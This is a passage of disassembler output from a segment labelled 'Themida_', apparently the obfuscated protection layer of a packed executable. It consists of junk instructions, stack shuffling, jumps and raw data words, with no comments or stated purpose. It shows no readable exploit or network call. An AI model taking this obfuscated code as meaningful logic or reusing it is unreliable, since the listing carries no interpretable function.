		dd 240C8900h, 3A01BD55h, 0ED810366h, 418539BCh,	0C8FFE945h
		dd 0F381FFFEh, 7D8E6E6Eh, 713E6851h, 80E90B64h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5135A7:				; CODE XREF: Themida_:00513EAFj
		sub	eax, 5C790985h
		add	edx, eax
		pop	eax
		add	edx, 129236C4h
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 7CB325EEh
		add	edx, edi
		push	esi
		jmp	loc_5105F9
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FF2C15E9h, 240481FFh, 67BB4600h,	81241429h
		dd 4600242Ch, 0C6E967BBh, 0ACFFFFB6h, 7CE468h, 24148900h
		dd 206849B2h, 89000043h, 1BB7241Ch, 169FE9h, 8BC83100h
		dd 0C483240Ch, 58C62904h, 0B951EE01h, 2D3E2957h, 122DBE56h
		dd 0F1017C59h, 41E9D15Eh, 629CF181h, 0E9810AB4h, 1FE39AF8h
		dd 0C8BCE01h, 4C48124h,	5D000000h, 31243433h, 14E92434h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513647:				; CODE XREF: Themida_:0050E078j
		push	esi
		xor	dword ptr [esp], 2FB52CCDh
		jmp	loc_510BE1
; ---------------------------------------------------------------------------

loc_513654:				; CODE XREF: Themida_:00513157j
		pop	ecx
		add	edx, eax
		pop	eax
		jmp	loc_506414
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0ECh
		dd 0F898E904h, 8F5BFFFEh, 248B2404h, 48B6624h, 8E95324h
		dd 89FFFF23h, 0FF542404h, 68582434h, 18E8h, 89240C89h
		dd 4C181E1h, 83000000h,	0C8704C1h, 7BE95C24h, 81FFFFA1h
		dd 4C2h, 4C28300h, 5C241487h, 0E901EB80h, 0FFFEFDEDh, 752E112Dh
		dd 4E5A2D5Ch, 0E90555BEh, 51791925h, 362A93B9h,	58AA684Ch
		dd 27E90000h, 81FFFF64h, 4C5h, 4AF0E900h, 77FFFFFFh, 58669D1Ch
		dd 24041166h, 0D486E99Ch, 0DFF7FFFFh, 1C7814Fh,	81000000h
		dd 2F8372C7h, 3639687Dh, 3C890000h, 3C8B5A24h, 0B9E5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51370A:				; CODE XREF: Themida_:005049A6j
		push	9EAh
		mov	[esp], ebp
		push	esp
		jmp	loc_5147F3
; ---------------------------------------------------------------------------
		dd 0B951E589h, 4, 8359CD01h, 63E902C5h,	66FFFFF7h, 661A9DBAh
		dd 291AF281h, 66DAF766h, 1BCAEA81h, 22C28166h, 0D02966C5h
		dd 0FED299E9h, 88F788FFh, 148B5BF9h, 4C48324h, 68AEF180h
		dd 5303h, 95FE9h
		db 0
; ---------------------------------------------------------------------------

loc_513761:				; CODE XREF: Themida_:0050622Cj
		push	dword ptr [esp]
		jmp	loc_50C799
; ---------------------------------------------------------------------------
		db 0BEh, 5Eh, 26h
		dd 0C6811246h, 3596C18h, 15EF729h, 7448E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51377E:				; CODE XREF: Themida_:005026B8j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5109FB
; ---------------------------------------------------------------------------

loc_51378D:				; CODE XREF: Themida_:00513ED6j
		add	eax, 463C0BD8h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 543C69CAh
		add	ebx, ecx
		sub	ebx, 543C69CAh
		jmp	loc_50EFEA
; ---------------------------------------------------------------------------
		dd 4C381h, 0BF570000h, 4, 535FFB01h, 42474FFh, 24048F5Bh
		dd 0FFD861E9h, 5BDA31FFh, 815AD721h, 14280EEFh,	70ED811Fh
		dd 513A5846h, 9469A6B9h, 81E1D17Ah, 342E5FE9h, 0E8F0E924h
		dd 6853FFFFh, 4FD7h, 24048F54h,	4240481h, 8B000000h, 0C481241Ch
		dd 4, 70C2BF57h, 0EF8178D4h, 6FC958ABh,	1927E781h, 0EFC1277Dh
		dd 0E5EF8106h, 8146DD58h, 26CB7FF7h, 5FFB01B9h,	5304C383h
		dd 0FF53DBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513839:				; CODE XREF: Themida_:0051048Aj
		pop	ecx
		sub	ecx, 53387C06h
		jmp	loc_5015FF
; ---------------------------------------------------------------------------
aJh6		db 'Jh',0Ah
		db '6',0
		dw 8900h
		dd 0C2BB241Ch, 11A8D28h, 0B9515BDAh, 7262448Ah,	1FE9CA01h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_513863:				; CODE XREF: Themida_:0050AA6Bj
		or	dl, 5
		neg	dl
		add	dl, 8Fh
		push	ecx
		mov	ch, dl
		jmp	loc_514322
; ---------------------------------------------------------------------------

loc_513873:				; CODE XREF: Themida_:00507484j
		not	edx
		not	edx
		or	edx, 6171485Bh
		jmp	loc_507489
; ---------------------------------------------------------------------------
		dw 8159h
		dd 870C43EAh, 1C046864h, 14890000h, 7069BA24h, 27052262h
		dd 2D16E02Ch, 7DD24BE7h, 0E705D001h, 2D7DD24Bh,	16E02C27h
		dd 2DD0295Ah, 22627069h, 3237055Ah, 0D82938C7h,	3237BA52h
		dd 0D02938C7h, 0FEFD65E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5138C9:				; CODE XREF: Themida_:00510FBEj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		push	3992h
		jmp	loc_5128C2
; ---------------------------------------------------------------------------

loc_5138E5:				; CODE XREF: Themida_:0050A3EDj
		pop	esp
		jmp	loc_50EF6D
; ---------------------------------------------------------------------------

loc_5138EB:				; CODE XREF: Themida_:00501CABj
		add	esi, eax
		pop	eax
		xor	eax, esi
		jmp	loc_51168D
; ---------------------------------------------------------------------------
		db 0F6h, 0D4h, 80h
		dd 0ECC052F4h, 0FDEC8006h, 8858E288h, 2434FFD7h, 1DE9575Ah
		dd 55FFFF61h, 0F84633BDh, 50E5816Dh, 810ABD4Dh,	1A0F43C5h
		dd 0CBC58144h, 811C290Eh, 84CE0F5h, 0A6ED811Dh,	812E9B42h
		dd 0A590F0EDh, 9B44E9DCh, 0F721FFFFh, 0FF1ABDE9h, 241C87FFh
		dd 0EB87E95Ch, 0E957FFFFh, 0FFFF2753h, 5C243C87h, 0EEC1E6D1h
		dd 7FC68106h, 89FF561Eh, 0BB535EF3h, 72027B28h,	1C8BD801h
		dd 4C48124h, 57000000h,	0FEF47EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51397D:				; CODE XREF: Themida_:00503629j
		mov	eax, [esp]
		jmp	loc_50980A
; ---------------------------------------------------------------------------

loc_513985:				; CODE XREF: Themida_:005027F5j
		push	210Bh
		jmp	loc_50EFE4
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0F5C2404h, 34FFC0B6h, 0BE78E987h, 0CE81FFFEh, 0CDA3E70h
		dd 808CC681h, 0F701C105h, 6061685Eh, 1C890000h,	4BB24h
		dd 0DF290000h, 58EA685Bh, 3C890000h, 0C22AE924h, 489FFFEh
		dd 28BBB024h, 238BE9C3h, 6664FFFFh, 6866028Bh, 89660138h
		dd 2FE92404h, 29FFFEBEh, 0C2815DEAh, 3377084Bh,	62E9DA01h
		dd 83000001h, 535204C4h, 0FFD8CDE9h, 0B9F05FFh,	0E9535A97h
		dd 0FFFF4C22h, 815F5457h, 4C7h,	4C78300h, 2474FF57h, 48F5F04h
		dd 24248B24h, 6C5E9h
		db 0
; ---------------------------------------------------------------------------

loc_513A29:				; CODE XREF: Themida_:0050E2B8j
		xchg	edx, [esp]
		pop	esp
		pop	ebp
		shl	eax, cl
		xchg	eax, ecx
		sub	ecx, 1
		jmp	loc_501CE8
; ---------------------------------------------------------------------------
		dd 0D3E9028Fh
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_513A43:				; CODE XREF: Themida_:00503D62j
		pop	esi
		mov	edx, 0AB4922EEh
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_4FFA57
; ---------------------------------------------------------------------------
		dd 0E959CF01h, 0FFFF53E9h, 0EC815E54h, 4, 0BA241489h, 17C10DE8h
		dd 8904EC83h, 25BE2434h, 0E945E664h, 0FFFEF325h, 0BE68E189h
		dd 89000076h, 0C9E9242Ch, 56FFFF26h, 5CE9E689h,	68FFFF86h
		dd 0
		dd 0FEF767E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513A9D:				; CODE XREF: Themida_:0050D445j
		mov	eax, 2D7D61B9h
		add	ebp, eax
		pop	eax
		sub	eax, 25ED683Ch
		add	eax, ebp
		add	eax, 25ED683Ch
		jmp	loc_51104D
; ---------------------------------------------------------------------------

loc_513AB6:				; CODE XREF: Themida_:00504729j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5021C3
; ---------------------------------------------------------------------------
		dd 0CCE9DAF7h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513ACB:				; CODE XREF: Themida_:00507716j
		mov	ecx, [esp]
		jmp	loc_50525E
; ---------------------------------------------------------------------------
		db 29h
		dd 240C8BC8h, 0BE77E952h, 0EA88FFFEh, 54885B59h, 34FF0187h
		dd 24148B24h, 0E9595451h, 0FFFF2389h, 0E957E089h, 0FFFF634Eh
; ---------------------------------------------------------------------------

loc_513AFC:				; CODE XREF: Themida_:00512EA2j
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_514C71
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FF4830E9h, 0EAC15BFFh, 55DAF702h,	0E23525BDh
		dd 8E5C160h, 5674CD81h,	0EDC149F3h, 86CD8104h, 0F7761F6Eh
		dd 8AC581DDh, 1B132DFh,	0D7015DEAh, 0FED7F5E9h,	4BEA81FFh
		dd 81337708h, 996202C2h, 0D1685B52h, 89000069h,	2B82404h
		dd 0E9000000h, 0FFFF115Fh, 5A2434FFh, 0E95B5453h, 0FFFFC33Fh
		dd 4C381h, 0EB830000h, 241C8704h, 2414895Ch, 33BDD9BAh
		dd 2430E934h, 0E883FFFFh, 24048704h, 0A5E9545Ch, 33000010h
		dd 665C240Ch, 6824048Bh, 5016h,	0FEE37EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513BBD:				; CODE XREF: Themida_:00504278j
		add	esi, 6DC21AD6h
		sub	esi, 4AB1F464h
		mov	edx, esi
		jmp	loc_50E457
; ---------------------------------------------------------------------------

loc_513BD0:				; CODE XREF: Themida_:00507879j
		pop	esi
		sub	ecx, ebp
		pop	ebp
		sub	eax, 2378342Dh
		add	eax, ecx
		add	eax, 2378342Dh
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_500065
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 56240489h, 0C0BA5255h, 8921EE4Ch, 0B8505AD5h, 2105241Bh
		dd 0FF3CB8E9h, 0B60F66FFh, 2D566802h, 14890000h, 0C68CE924h
		dd 0C781FFFEh, 65166759h, 0FEC5FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513C29:				; CODE XREF: Themida_:00501E6Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4D125ECAh
		jmp	loc_50E08E
; ---------------------------------------------------------------------------
aVqQsc		db ',QC',0Bh,0
		dw 0BA00h
		dd 4, 875AD001h, 248B2404h, 5417E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513C56:				; CODE XREF: Themida_:00500358j
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 0
		sub	esi, ebx
		push	ebx
		push	esi
		pop	ebx
		jmp	loc_503376
; ---------------------------------------------------------------------------

loc_513C83:				; CODE XREF: Themida_:00504780j
		xor	ecx, 0A8B77717h
		push	ecx
		sub	dword ptr [esp], 5B531ED7h
		pop	ebp
		add	ebp, 5B531ED7h
		pop	ecx
		add	ebx, ebp
		jmp	loc_502753
; ---------------------------------------------------------------------------
		dd 173D2548h, 4F3547C6h, 0E96CEF02h, 0FFFFDCDDh, 5D374ABFh
		dd 0F388E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_513CBA:				; CODE XREF: Themida_:0050C89Ej
		pop	ecx
		mov	edi, [esp]
		jmp	loc_5086C1
; ---------------------------------------------------------------------------

loc_513CC3:				; CODE XREF: Themida_:005021A6j
		pop	esi
		add	ebp, 0FAB22264h
		sub	ebx, ebp
		pop	ebp
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_502885
; ---------------------------------------------------------------------------

loc_513CD9:				; CODE XREF: Themida_:00506653j
		mov	[esp], cx
		push	edx
		push	ecx
		mov	ch, 5Bh
		push	edx
		mov	dl, 0C6h
		push	cx
		mov	ch, 6Bh
		and	dl, ch
		mov	cx, [esp]
		jmp	loc_5142D5
; ---------------------------------------------------------------------------

loc_513CF3:				; CODE XREF: Themida_:00508B27j
		sub	dword ptr [esp], 49A16892h
		add	dword ptr [esp], 78E47C80h
		sub	[esp], edx
		sub	dword ptr [esp], 78E47C80h
		add	dword ptr [esp], 49A16892h
		pop	edx
		push	6B7h
		mov	[esp], esi
		mov	esi, 640A59ACh
		xor	esi, 5B132C99h
		jmp	loc_50605E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 9CE92434h, 0FFFFFF24h, 525D2434h, 9FE9E289h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513D3F:				; CODE XREF: Themida_:0050CEDBj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_501EB3
; ---------------------------------------------------------------------------

loc_513D4A:				; CODE XREF: Themida_:00511B69j
		pop	esp
		shr	ebp, 3
		push	6A7Ch
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 3AA100C2h
		shr	edi, 1
		push	ecx
		mov	ecx, 1
		add	edi, ecx
		pop	ecx
		add	edi, 0F130267Dh
		jmp	loc_500F51
; ---------------------------------------------------------------------------
		dd 0EE5600BFh, 72F78167h, 214E2445h, 19355FF8h,	2140F752h
		dd 0C78158C7h, 0B74546Ah, 0EF81DFF7h, 5A683EC0h, 0A9ABEF81h
		dd 0FE31373Eh, 81243C8Bh, 4C4h,	0E9F70100h, 0FFFF7085h
		dd 240C895Ch, 0EC83F189h, 95EAE904h, 0C33FFFFh,	240C3124h
		dd 0FEDA59E9h, 4C483FFh, 5EE9E801h, 81FFFFEDh, 19226CEDh
		dd 73ED8169h, 1442529h,	0B77E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_513DFE:				; CODE XREF: Themida_:00510CEAj
		pop	edx
		jmp	loc_5016E0
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 0EB71FACh, 4E59CE89h, 0FF3CFFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513E15:				; CODE XREF: Themida_:0050E478j
		mov	[esp], ebp
		push	ebx
		pop	ebp
		push	6EC3h
		mov	[esp], ecx
		mov	ecx, ebp
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	1564h
		mov	[esp], edi
		jmp	loc_50A241
; ---------------------------------------------------------------------------

loc_513E37:				; CODE XREF: Themida_:00508029j
		mov	ecx, 63846C7h
		sub	ecx, 98C1FC0h
		add	ecx, 396590Bh
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_50F2C6
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B3241C89h, 0BE2CC0h, 8BBE04D8h, 0C481241Ch,	4, 0C8005D2Ch
		dd 0E9535D04h, 0FFFF7EA1h, 5C240487h, 24040966h, 0CD53E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513E9A:				; CODE XREF: Themida_:00512886j
		sub	edx, edi
		add	edx, 39B84B7Fh
		push	eax
		mov	eax, 13696533h
		add	eax, 31F244C9h
		neg	eax
		jmp	loc_5135A7
; ---------------------------------------------------------------------------

loc_513EB4:				; CODE XREF: Themida_:005117A4j
		shl	edi, 7
		add	edi, 1
		inc	edi
		jmp	loc_509626
; ---------------------------------------------------------------------------

loc_513EC3:				; CODE XREF: Themida_:005048F5j
		add	esp, 4
		mov	eax, 0AFD60E6h
		xor	eax, ebx
		pop	ebx
		sub	eax, 324714FBh
		shl	eax, 3
		jmp	loc_51378D
; ---------------------------------------------------------------------------
		db 80h
		dd 536601C5h, 515228B3h, 0FFEEE5E9h, 5FFD29FFh,	815DE989h
		dd 816F5EEBh, 0E9CB0178h, 0FFFFF18Eh, 5B2434FFh, 0FF13FCE9h
		dd 0C6C181FFh, 813F9D02h, 546AC8E9h, 0D9F4E927h, 248BFFFEh
		dd 0AB0F6624h, 0E99C2404h, 0FFFEB8F2h, 0F681DEF7h, 4C3A64F9h
		dd 8102E6C1h, 7155E7F6h, 0F4EE8176h, 5E9C1F3h, 860206Ch
		dd 6C2DF029h, 5E086020h, 37266735h, 45E9576Fh, 68FFFEC4h
		dd 542Eh, 24048F54h, 0D6D9E951h, 8F5CFFFEh, 248B2404h
		dd 24040924h, 0B8A4E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_513F72:				; CODE XREF: Themida_:0050A5FAj
		push	esi
		mov	esi, 36AA14B3h
		inc	esi
		jmp	loc_50D232
; ---------------------------------------------------------------------------

loc_513F7E:				; CODE XREF: Themida_:0050B2C4j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 41962617h
		add	edx, edi
		sub	edx, 41962617h
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	312Eh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 0C9D5BBBh
		or	esi, 52395D20h
		jmp	loc_5002E9
; ---------------------------------------------------------------------------

loc_513FBE:				; CODE XREF: Themida_:005083B2j
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		jmp	loc_4FFF19
; ---------------------------------------------------------------------------
		dw 0CD2Dh
		dd 29272F5Bh, 0EFE952C8h, 0C1FFFF08h, 0E7C107E7h, 0C0EF8106h
		dd 1EAB929h, 0D0015FFAh, 0FF72E8E9h, 242489FFh,	4240481h
		dd 8F000000h, 0B9512404h, 4, 4244C01h, 0C609E959h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_51400A:				; CODE XREF: Themida_:0050CC0Aj
		mov	ebx, [esp]
		jmp	loc_50FC25
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0E9000000h, 0FFFEC92Eh, 0BE68535Dh, 5B61480Dh
		dd 0FF3CF5E9h, 315E5BFFh, 6980E9DFh, 8147FFFFh,	0EB667CEFh
		dd 4EC8303h, 0FF68F6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514045:				; CODE XREF: Themida_:0050043Cj
		xor	ebx, ecx
		pop	ecx
		sub	ebx, 0C558FEADh
		or	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, 7FDA4FDAh
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	edx, 37B51E71h
		jmp	loc_5001A8
; ---------------------------------------------------------------------------
		db 66h,	5Fh, 66h
		dd 665BD809h, 66722835h, 665E9305h, 5105E0C1h, 45B7B966h
		dd 66D1F766h, 0E903E1C1h, 0FFFEE99Eh, 81240C8Bh, 4C4h
		dd 0CEFE900h, 552C0000h, 0FFE6FDE9h, 0C1015DFFh, 0FFCF52E9h
		dd 0D3295FFFh, 8324148Bh, 0E95504C4h, 0FFFF49B0h, 0B2241489h
		dd 0D1ACE9BFh, 0C483FFFEh, 24148704h, 6624248Bh, 9C2404FFh
		dd 0FEB739E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5140DD:				; CODE XREF: Themida_:00507747j
		shl	ebx, 8
		and	ebx, 2D284A9Ah
		shl	ebx, 8
		jmp	loc_50D365
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 3302C583h, 0DBE9242Ch, 0FEFFFEBFh, 0E9F486C4h, 0FFFFF27Dh
		dd 0E1FEE959h, 0E95FFFFEh, 0FFFFD47Dh, 70E9D7F7h, 30FFFFE7h
		dd 0C0B60FC3h, 0FF8734FFh, 48B2434h, 4C48324h, 6E8FE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514132:				; CODE XREF: Themida_:00513307j
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_5063FE
; ---------------------------------------------------------------------------

loc_51413C:				; CODE XREF: Themida_:0050E145j
		sub	ecx, edx
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	esi
		jmp	loc_505B51
; ---------------------------------------------------------------------------
		db 89h,	0F0h, 5Eh
		dd 0D68D0F7h, 89000034h, 4EE9242Ch
		db 0C9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_514163:				; CODE XREF: Themida_:005024AFj
		sub	eax, 178F0CC7h
		add	eax, 6A3B027Ah
		add	eax, esi
		jmp	loc_50D951
; ---------------------------------------------------------------------------
		dd 4B9h, 0FFCB0100h, 83592434h,	685104C4h, 4DB3h, 68242C89h
		dd 22DDh, 0FF0847E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514195:				; CODE XREF: Themida_:00501AA9j
		mov	edi, 1
		jmp	loc_505352
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E6E950D6h, 1FFFF77h, 5BEB81CBh, 0E9774301h,	0FFFF9455h
		dd 98F1E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5141BA:				; CODE XREF: Themida_:005090E7j
		mov	[esp], ebx
		jmp	loc_51456E
; ---------------------------------------------------------------------------

loc_5141C2:				; CODE XREF: Themida_:00514D25j
		pop	ecx
		jmp	loc_509551
; ---------------------------------------------------------------------------

loc_5141C8:				; CODE XREF: Themida_:005016A4j
		mov	ebp, 2EFB35E7h
		mov	eax, ebp
		pop	ebp
		mov	ebp, 1A0A38B8h
		push	edi
		push	5CAC100Ah
		pop	edi
		jmp	loc_5111F5
; ---------------------------------------------------------------------------
		db 0B9h, 7Eh, 18h
		dd 0F8E9212Fh
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5141EB:				; CODE XREF: Themida_:0050F696j
		pop	edx
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 466D1419h, 0E906E9C1h, 0FFFF6003h
; ---------------------------------------------------------------------------

loc_514204:				; CODE XREF: Themida_:0050A43Cj
		mov	ah, 19h
		and	ah, 0EDh
		jmp	loc_50336A
; ---------------------------------------------------------------------------

loc_51420E:				; CODE XREF: Themida_:005076AEj
		mov	ebx, 7CED47A0h
		neg	ebx
		not	ebx
		jmp	loc_505239
; ---------------------------------------------------------------------------

loc_51421C:				; CODE XREF: Themida_:0051054Cj
		mov	ecx, [esp]
		add	esp, 4
		sub	al, 58h
		sub	al, 0E9h
		push	3038h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_4FFC85
; ---------------------------------------------------------------------------
		dd 8E5C14Dh, 3DEBB53h, 0EBC15538h, 81DBF702h, 0ABD8FBC3h
		dd 5BDD3153h, 52E9E889h, 66FFFFFEh, 56240C8Bh, 24348B54h
		dd 8304C483h, 2C8904ECh, 4BD24h, 0C6810000h, 716F0087h
		dd 0EE81EE01h, 716F0087h, 0FED708E9h, 240431FFh, 8B240433h
		dd 0B5E92424h, 81FFFED6h, 0F011C8C1h, 0E9C80134h, 0FFFEF5A1h
		dd 7825E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5142A2:				; CODE XREF: Themida_:0050D2DFj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_4FFA16
; ---------------------------------------------------------------------------

loc_5142B4:				; CODE XREF: Themida_:0051158Cj
		mov	ebx, 0EF5B02F5h
		sub	esi, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_50A2DD
; ---------------------------------------------------------------------------
		dd 0F75365B8h, 58C30158h, 5D2434FFh, 0FF31E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5142D5:				; CODE XREF: Themida_:00513CEEj
		add	esp, 2
		add	dl, 2Ch
		sub	dl, 73h
		xor	dl, 0BBh
		sub	ch, dl
		pop	edx
		shr	ch, 5
		add	ch, 0BBh
		neg	ch
		sub	ch, 0FFh
		xor	ch, 1Dh
		jmp	loc_4FFBEC
; ---------------------------------------------------------------------------

loc_5142F7:				; CODE XREF: Themida_:00507E23j
		pop	esp
		mov	[esp], eax
		mov	eax, 60E66729h
		push	esi
		push	6020F76h
		mov	esi, [esp]
		jmp	loc_5117DB
; ---------------------------------------------------------------------------

loc_51430E:				; CODE XREF: Themida_:0050B870j
		mov	esp, [esp]
		jmp	loc_4FFEB8
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4ECh, 0A17BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514322:				; CODE XREF: Themida_:0051386Ej
		mov	bl, ch
		pop	ecx
		pop	edx
		or	bl, 7Ch
		dec	bl
		add	bl, 6Fh
		or	dl, bl
		mov	ebx, [esp]
		jmp	loc_509A25
; ---------------------------------------------------------------------------

loc_514338:				; CODE XREF: Themida_:00502BC2j
		or	eax, eax
		jmp	loc_5027E7
; ---------------------------------------------------------------------------

loc_51433F:				; CODE XREF: Themida_:0050FB47j
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_505EA2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8124148Bh, 4C4h, 9C685200h, 5A66DE50h, 8106E2C1h, 5B36BCC2h
		dd 0BEF28159h, 110EF5Dh, 600FE9D7h, 0D929FFFFh,	240C875Bh
		dd 0FF31B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514391:				; CODE XREF: Themida_:00509FDEj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_500273
; ---------------------------------------------------------------------------

loc_51439F:				; CODE XREF: Themida_:004FFFA7j
		push	49CAh
		mov	[esp], edi
		mov	edi, 3CAA594Ch
		jmp	loc_510EDB
; ---------------------------------------------------------------------------

loc_5143B1:				; CODE XREF: Themida_:0050D604j
		push	627246FAh
		jmp	loc_5077A4
; ---------------------------------------------------------------------------

loc_5143BB:				; CODE XREF: Themida_:00500EABj
		sub	ecx, 0D9B614AFh
		add	ebx, ecx
		jmp	loc_50D8A0
; ---------------------------------------------------------------------------

loc_5143C8:				; CODE XREF: Themida_:0050D1A8j
		push	esi
		jmp	loc_507DE2
; ---------------------------------------------------------------------------

loc_5143CE:				; CODE XREF: Themida_:00505C51j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_502120
; ---------------------------------------------------------------------------
		db 83h
		dd 0EDE904C4h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5143DF:				; CODE XREF: Themida_:0050EBF8j
		push	ebx
		push	ebp
		mov	ebp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, ebp
		push	esi
		mov	esi, eax
		push	esi
		push	ebx
		mov	ebx, 158821F8h
		add	[esp+4], ebx
		pop	ebx
		pop	ebx
		sub	ebx, 158821F8h
		pop	esi
		jmp	loc_50FB0E
; ---------------------------------------------------------------------------

loc_51441A:				; CODE XREF: Themida_:0050AA04j
		push	ebx
		push	eax
		mov	ah, 19h
		and	ah, 0B5h
		not	ah
		inc	ah
		sub	ah, 57h
		jmp	loc_4FF8BD
; ---------------------------------------------------------------------------

loc_51442D:				; CODE XREF: Themida_:00510265j
		push	ebx
		mov	ebx, 5A9C760Ah
		dec	ebx
		dec	ebx
		shr	ebx, 5
		jmp	loc_510CEF
; ---------------------------------------------------------------------------
		db 0B9h, 71h, 39h
		dd 0BE56316Ch, 316C396Dh, 15EF129h, 0C28359CAh,	0AA24E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514456:				; CODE XREF: Themida_:0050EBACj
		push	esp
		jmp	loc_508335
; ---------------------------------------------------------------------------

loc_51445C:				; CODE XREF: Themida_:0050D5CCj
		add	esp, 4
		add	ebp, 1
		push	edi
		mov	edi, 655400h
		and	ebp, edi
		pop	edi
		jmp	loc_509989
; ---------------------------------------------------------------------------

loc_514473:				; CODE XREF: Themida_:00509EE4j
		shl	ebx, 8
		add	ebx, 625E48C2h
		not	ebx
		and	ebx, 6081456Fh
		xor	ebx, 0DD14D20h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		push	724Dh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_50A082
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0A113E900h,	8B66FFFFh, 0E9512404h
		dd 0FFFFDBDEh
; ---------------------------------------------------------------------------

